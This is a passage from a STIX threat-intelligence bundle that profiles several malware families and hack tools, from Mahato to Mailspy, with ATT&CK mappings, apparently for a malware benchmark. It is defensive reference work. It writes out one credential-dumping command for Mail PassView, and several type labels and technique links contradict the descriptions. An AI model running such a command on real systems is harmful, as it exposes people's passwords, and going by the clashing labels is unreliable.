      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--2edbce11-3a37-5a30-bf02-8151d960c4a2",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Mago exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--8ef5b5c6-5aef-50bf-9e2a-0b9cdde5e9e5",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--2edbce11-3a37-5a30-bf02-8151d960c4a2",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Mago exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--3fa09ecb-2a7f-55f3-a986-0f0bdbd13e39",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--2edbce11-3a37-5a30-bf02-8151d960c4a2",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Mago exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--9ce519dd-b262-5612-ab09-ba10a0fe29c0",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--2edbce11-3a37-5a30-bf02-8151d960c4a2",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Mago exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--458b0851-055c-50ba-953e-611110884b16",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--2edbce11-3a37-5a30-bf02-8151d960c4a2",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Mago exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--2379fd00-6402-5440-9e4c-a7823136f49a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Mahato",
      "description": "Trojan:Win32/Mahato is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Mahato</b><br>To an end-user, a Mahato infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Mahato is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Mahato is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Mahato frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Mahato reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 4)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Mahato",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/mahato"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--df3b166c-4fa0-5da6-98e3-9186d48535c1",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--2379fd00-6402-5440-9e4c-a7823136f49a",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Mahato exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--8cfac3e6-caaf-5d6b-bdfd-1b983e237112",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--2379fd00-6402-5440-9e4c-a7823136f49a",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Mahato exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--26736ece-920c-5d60-98a2-9e3c0ca8d0c9",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--2379fd00-6402-5440-9e4c-a7823136f49a",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Mahato exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--8264c651-9a9b-5c76-ba8e-b06ee8ed8466",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--2379fd00-6402-5440-9e4c-a7823136f49a",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Mahato exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--b0884b9d-39e6-580a-aefe-b18ee7ed4b4b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--2379fd00-6402-5440-9e4c-a7823136f49a",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Mahato exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--d8e07adb-c2e7-5d97-b7e1-712c9d1123ca",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Mailbot",
      "description": "<h3>Executive Summary</h3>\nMailbot is a malicious Trojan with robust botnet capabilities, specifically engineered to convert infected Windows systems into high-volume spam relays. It is frequently utilized by cybercriminal organizations to distribute massive volumes of pharmaceutical spam, phishing lures, and malicious attachments (often delivering secondary malware like ransomware or info-stealers) while obscuring the true origin of the attack.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nMailbot is predominantly distributed through the very mechanism it facilitates: socially engineered spam campaigns containing malicious attachments or drive-by downloads originating from compromised websites.\n\nUpon successful execution, Mailbot operates with a focus on establishing a covert spam relay:\n<ul>\n<li><strong>Botnet Registration:</strong> The trojan immediately communicates with its command-and-control (C2) server, registering the compromised machine's IP address and bandwidth capacity, effectively enrolling the host into the spam botnet.</li>\n<li><strong>SMTP Engine Installation:</strong> Mailbot does not rely on the user's email client (like Outlook). Instead, it contains its own built-in SMTP (Simple Mail Transfer Protocol) engine. This allows it to send thousands of emails directly to recipient mail servers, bypassing local email security controls.</li>\n<li><strong>Dynamic Configuration:</strong> The C2 server continuously updates the infected host with new spam templates, lists of target email addresses, and lists of compromised SMTP proxies to use for the outbound campaigns.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nA Mailbot infection severely degrades local network performance by saturating outbound bandwidth. More critically, because the spam originates from the organization's public IP address, the IP will rapidly be added to global DNS Blackhole Lists (DNSBLs), resulting in the legitimate corporate email being blocked or flagged as spam by external partners.\n\n<h3>Remediation and Eradication</h3>\n<ul>\n<li><strong>Network Anomaly Detection:</strong> Monitor edge firewalls for sustained, high-volume outbound traffic on TCP port 25 (SMTP) originating from standard user endpoints rather than authorized corporate mail servers.</li>\n<li><strong>Endpoint Isolation and Sweeps:</strong> Immediately isolate the infected endpoint from the LAN to halt the spam campaign. Conduct a thorough forensic sweep to identify the Mailbot executable and remove its persistence mechanisms (registry keys and scheduled tasks).</li>\n<li><strong>IP Reputation Management:</strong> After eradication, the organization's public IP addresses must be checked against major DNSBLs (like Spamhaus). A formal delisting request must be submitted to restore legitimate email flow.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan.Spammer.Mailbot",
        "Botnet.Mailbot",
        "Win32/Mailbot"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Mailbot",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/mailbot"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--593ff10e-61c9-5134-8876-b585f16f4fb1",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--d8e07adb-c2e7-5d97-b7e1-712c9d1123ca",
      "target_ref": "attack-pattern--811b0131-eca0-5e7e-a296-b88d7ece01bd",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Mailbot exhibits technique T1543.003 (Create or Modify System Process: Windows Service)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--c13a5b66-b6e0-5044-8ace-54da646c35e6",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--d8e07adb-c2e7-5d97-b7e1-712c9d1123ca",
      "target_ref": "attack-pattern--f610f9c7-f371-50da-a04d-35ef5c472e9a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Mailbot exhibits technique T1059 (Command and Scripting Interpreter)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--cf1eecc9-024a-5084-bcdf-43fdd3b2dd69",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--d8e07adb-c2e7-5d97-b7e1-712c9d1123ca",
      "target_ref": "attack-pattern--0bc1ab05-93c5-5215-9981-7ef52cf4b457",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Mailbot exhibits technique T1583.003 (Acquire Infrastructure: Botnet)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--d50a45b7-3bd1-5808-9dc8-e68eb289243e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Mailcheck",
      "description": "<h3>Executive Summary</h3>\nMailCheck (often detected as HackTool.MailChecker, Riskware.MailCheck, or Trojan.AccountChecker) is a category of illicit utility software utilized by cybercriminals to perform automated, bulk validation of stolen email credentials (combo lists). These tools are a critical component of the underground credential stuffing ecosystem, allowing attackers to rapidly verify which stolen \"username:password\" pairs are currently active and valid for various email providers (Gmail, Outlook, Yahoo, etc.).\n\n<h3>Infection Vector and Technical Capabilities</h3>\nMailCheck tools are not typically self-replicating malware. They are standalone executables or Python scripts downloaded intentionally by an attacker or a malicious insider who has acquired a database of stolen credentials from a dark web forum.\n\nUpon execution, the tool automates the credential validation process:\n<ul>\n<li><strong>Proxy Integration:</strong> To avoid rate-limiting, CAPTCHAs, and IP bans from the targeted email providers, MailCheck tools heavily integrate with massive lists of rotating SOCKS/HTTP proxies. This distributes the login attempts across thousands of IP addresses.</li>\n<li><strong>Automated Authentication (IMAP/POP3/SMTP/Web):</strong> The tool ingests the combo list and rapidly attempts to authenticate against the targeted email provider's servers. It may use standard mail protocols (IMAP/POP3) or attempt to interact directly with the provider's web login API.</li>\n<li><strong>Sorting and Output:</strong> The tool categorizes the results, generating text files separating the \"Valid\" (successful logins) accounts from the \"Invalid\" or \"Locked\" accounts. The attacker then uses the valid list for spamming, identity theft, or reselling on illicit markets.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nThe detection of a MailCheck utility on a corporate endpoint is a critical indicator of active, financially motivated cybercrime. It signifies that the user (or an attacker controlling the machine) is actively engaging in credential stuffing attacks utilizing corporate network infrastructure, posing severe legal and reputational risks.\n\n<h3>Incident Response and Remediation</h3>\n<ul>\n<li><strong>Immediate Legal and HR Escalation:</strong> Isolate the endpoint immediately, but do not power it off to preserve volatile memory. Because the tool is used for explicit fraud/hacking, this incident must be immediately escalated to HR and Legal counsel.</li>\n<li><strong>Forensic Chain of Custody:</strong> Treat the endpoint as a crime scene. A full forensic image of the hard drive must be captured to determine the origin of the combo lists and identify which specific email providers the attacker was targeting.</li>\n<li><strong>Network Auditing:</strong> Review the corporate firewall logs for massive spikes in outbound traffic to IMAP/POP3 ports or anomalous DNS requests to proxy services, correlating this activity with the infected endpoint.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "HackTool.MailChecker",
        "Riskware.AccountChecker",
        "Tool.ComboChecker"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Mailcheck",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/mailcheck"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "attack-pattern",
      "spec_version": "2.1",
      "id": "attack-pattern--f4f085c1-1f77-5f2a-b2d9-93ad9e29beba",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "T1110.004: Brute Force: Credential Stuffing (The core function of the Snipr tool)",
      "description": "MITRE ATT&CK Technique T1110.004 (Brute Force: Credential Stuffing (The core function of the Snipr tool)) under tactic Credential Access.",
      "external_references": [
        {
          "source_name": "mitre-attack",
          "external_id": "T1110.004",
          "url": "https://attack.mitre.org/techniques/T1110/004/"
        }
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--9922e4a5-e328-523a-9728-4fb2b16a637b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--d50a45b7-3bd1-5808-9dc8-e68eb289243e",
      "target_ref": "attack-pattern--f4f085c1-1f77-5f2a-b2d9-93ad9e29beba",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Mailcheck exhibits technique T1110.004 (Brute Force: Credential Stuffing (The core function of the Snipr tool))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--86f5d0e6-47f4-5b2f-b9eb-df1d26820673",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--d50a45b7-3bd1-5808-9dc8-e68eb289243e",
      "target_ref": "attack-pattern--cc76a884-1600-50d8-bfac-e3713d774a0d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Mailcheck exhibits technique T1090 (Proxy)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--ec332f39-2e87-56ec-8335-53d3c10ab413",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--d50a45b7-3bd1-5808-9dc8-e68eb289243e",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Mailcheck exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--872ff740-3ed8-5600-b83d-3852d3f1de54",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--d50a45b7-3bd1-5808-9dc8-e68eb289243e",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Mailcheck exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--95a3c6de-eeae-581f-9d6c-a45a6c7d20dd",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--d50a45b7-3bd1-5808-9dc8-e68eb289243e",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Mailcheck exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--17eecba8-1e8b-525d-81bf-be833e93f5f9",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--d50a45b7-3bd1-5808-9dc8-e68eb289243e",
      "target_ref": "attack-pattern--4f110b42-2ede-5143-bbfc-b26a59caa2b6",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Mailcheck exhibits technique T1082 (System Information Discovery)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--10941ca3-d81d-5b9a-8668-8f255fba9c1f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Mailpassview",
      "description": "<h3>Executive Summary</h3>\nMail PassView is a legitimate, commercially available password recovery utility developed by NirSoft. However, due to its capability to instantly extract and display passwords stored by various email clients (Outlook, Thunderbird, Eudora) in plain text, it is frequently classified as a \"HackTool\" or \"Riskware.\" Threat actors, particularly Initial Access Brokers and ransomware operators, frequently bundle and abuse Mail PassView to rapidly harvest local credentials during the post-exploitation phase of an attack.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nMail PassView is not malware itself and does not self-replicate or establish persistence. It is a standalone executable (`mailpv.exe`) that is typically dropped onto a system by an attacker who has already gained interactive access, or it is executed silently in the background by a malicious script or dropper Trojan.\n\nUpon execution, its capabilities are highly focused:\n<ul>\n<li><strong>Rapid Credential Extraction:</strong> The utility queries the Windows Registry and specific application configuration files to locate stored account details for major email clients.</li>\n<li><strong>Plain-Text Recovery:</strong> It utilizes Windows APIs to decrypt the stored credentials (which are often weakly protected by the OS) and displays the server addresses, usernames, and passwords in clear text.</li>\n<li><strong>Command-Line Automation (Abuse):</strong> Attackers frequently abuse the tool's command-line interface. By executing `mailpv.exe /stext output.txt`, the tool runs silently, dumps all recovered passwords to a text file, and closes, allowing the attacker to easily exfiltrate the text file via a reverse shell.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nThe unauthorized execution of Mail PassView on a corporate endpoint is a critical indicator of a credential harvesting operation. It signifies that an attacker has gained sufficient privileges to run credential-dumping tools and is actively seeking to escalate privileges or compromise corporate communications.\n\n<h3>Incident Response and Remediation</h3>\n<ul>\n<li><strong>Contextual Investigation:</strong> Identify if the execution was authorized by IT for legitimate password recovery. If not, the endpoint must be considered compromised and isolated immediately.</li>\n<li><strong>Trace the Execution:</strong> Utilize EDR telemetry to determine *how* Mail PassView was executed. Identify the parent process (e.g., `cmd.exe`, `powershell.exe`, or a malicious dropper) to locate the source of the breach.</li>\n<li><strong>Mandatory Credential Reset:</strong> If unauthorized execution is confirmed, all email passwords and Active Directory credentials associated with the compromised endpoint must be reset immediately, as the attacker likely exfiltrated the plain-text results.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "HackTool.MailPassView",
        "Riskware.PasswordViewer",
        "PWS.Nirsoft",
        "Tool.MailPV"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Mailpassview",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/mailpassview"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--120777b1-f67b-5ffc-b463-b22e8264ae87",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--10941ca3-d81d-5b9a-8668-8f255fba9c1f",
      "target_ref": "attack-pattern--87ff6f4d-2443-560e-9936-9f380887aee1",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Mailpassview exhibits technique T1555.003 (Credentials from Web Browsers)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--fac49487-82cc-52e5-bb4b-4f9d97962424",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--10941ca3-d81d-5b9a-8668-8f255fba9c1f",
      "target_ref": "attack-pattern--6864732d-cc77-514b-b3ff-9afd19b16e3c",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Mailpassview exhibits technique T1003 (OS Credential Dumping (Built-in Mimikatz integration))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--182acecb-0b88-5810-a580-71352699a9e0",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--10941ca3-d81d-5b9a-8668-8f255fba9c1f",
      "target_ref": "attack-pattern--8d654e3a-ab3a-5a68-a2dd-c7e622d3b49f",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Mailpassview exhibits technique T1059.003 (Command and Scripting Interpreter: Windows Command Shell)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--ae6f9b78-5431-5035-9f76-322e608527f5",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Mailru",
      "description": "MailRu (cataloged across security software as PUA:Win32/MailRu, PUA:Win32/MailRuBar, and Adware.MailRu) identifies an aggressive adware and Potentially Unwanted Application (PUA) distribution ecosystem historically affiliated with promotional software packages (such as Mail.Ru Bar, Guard.Mail.Ru, and the Amigo browser). Distributed extensively through software bundlers, free download portals, and unverified utility installers, MailRu components install persistent background updater services and browser extensions without transparent user consent. Once active, the software modifies browser homepage and default search configurations, intercepts user navigation to display monetized search portals, and injects sponsored promotional advertisements into web sessions. Additionally, MailRu background updaters maintain persistent network connections to remote telemetry servers, tracking search queries and browsing behavior, which degrades endpoint performance and introduces privacy concerns. (Observed samples in benchmark: 174)",
      "is_family": true,
      "malware_types": [
        "adware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "PUA:Win32/MailRu",
        "PUA:Win32/MailRuBar",
        "Adware.MailRu",
        "Win32/MailRu",
        "Mail.Ru Toolbar"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Mailru",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/mailru"
        }
      ],
      "labels": [
        "adware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--9cc66660-b50f-5ea1-ab6e-f32b6e2f8fec",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ae6f9b78-5431-5035-9f76-322e608527f5",
      "target_ref": "attack-pattern--bef94ccf-f6d3-5ee9-8eaa-a8867a38a5a4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Mailru exhibits technique T1204.002 (User Execution: Malicious File)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--40c9eb88-4099-55f0-8e30-f2cc32b3d0a8",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ae6f9b78-5431-5035-9f76-322e608527f5",
      "target_ref": "attack-pattern--9617cd1a-5a22-5e0a-a624-97dbf59822df",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Mailru exhibits technique T1112 (Modify Registry)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--fdbe9e06-da8d-5bb4-8528-24ddc7a5d72a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ae6f9b78-5431-5035-9f76-322e608527f5",
      "target_ref": "attack-pattern--dbcdb63c-3a8a-513b-a873-7b9d45a44f59",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Mailru exhibits technique T1176 (Browser Extensions)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--1728ca53-0358-5ba4-9e55-d1ec6c2bfc61",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ae6f9b78-5431-5035-9f76-322e608527f5",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Mailru exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--92486456-ca23-564b-9ddc-a6048b8ec65c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ae6f9b78-5431-5035-9f76-322e608527f5",
      "target_ref": "attack-pattern--9561e493-14f3-5fcb-a83c-f95649da6548",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Mailru exhibits technique T1071.001 (Application Layer Protocol: Web Protocols)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--631c46da-1d6c-5644-ad42-68aaf5ef7cfa",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Mailspy",
      "description": "<h3>Executive Summary</h3>\nMailSpy (often detected as Spyware.MailSpy or Riskware.EmailMonitor) is a specialized surveillance utility designed to covertly intercept, record, and exfiltrate electronic communications, primarily focusing on email clients and webmail interfaces. While occasionally marketed as \"employee monitoring\" software, its stealth capabilities and frequent deployment without explicit user consent classify it as malicious spyware, representing a severe breach of privacy and a critical data exfiltration risk.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nMailSpy is typically installed manually by an insider threat (e.g., a suspicious spouse or unauthorized IT staff) or deployed as a secondary payload by a dropper Trojan delivered via spear-phishing.\n\nOnce active, it possesses deep surveillance capabilities:\n<ul>\n<li><strong>API Hooking and Packet Sniffing:</strong> Advanced variants hook directly into the APIs of common desktop email clients (Outlook, Thunderbird) to read incoming and outgoing messages before they are encrypted or after they are decrypted by the application. Some variants may also attempt to sniff local network traffic for unencrypted POP3/IMAP/SMTP traffic.</li>\n<li><strong>Keystroke Logging (Webmail Focus):</strong> To capture communications on webmail services (Gmail, Yahoo), the spyware often acts as a keylogger, recording the user's keystrokes when the browser is focused on a mail portal, capturing both the login credentials and the contents of drafted emails.</li>\n<li><strong>Covert Exfiltration:</strong> The software is explicitly designed to hide its presence. It silently bundles the intercepted communications into encrypted logs and transmits them to 